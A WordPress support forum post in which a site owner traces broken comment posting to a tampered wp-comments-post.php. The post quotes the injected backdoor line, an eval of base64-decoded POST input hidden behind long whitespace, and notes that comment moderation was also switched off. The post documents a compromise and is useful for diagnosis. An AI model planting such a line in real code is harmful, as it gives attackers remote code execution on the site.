Comment attempt displays error page cannot be displayed

Resolved this, so thought I’d post my fix. Plus, interested in comments about how this change came about.

Using 2014 Theme: Apparently, commenting was broken by updates I did about 6 days ago. I don’t even remember which ones I did. But, as of the last couple of days, the client has been reporting a “page not found” kind of error when hitting the button to post a comment.

The failing page was wp-comments-post.php The date on the file on the server was 9/18.

I started looking for the problem and compared an old wp-comments-post.php file to the current one.

The old file started with:

<?php
/**

The current file was changed only on the first line and was:

<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['n5388ff']));?><?php

Note all the spaces; which made the “eval…….” not show on a line in the text editor. Once I found the difference, I removed it and fixed my problem.

(Also, the checkbox for “Before a comment appears
Before a comment appears Comment must be manually approved” was changed to unchecked.

Any idea why/how the code got changed?

https://wordpress.org/plugins/comments/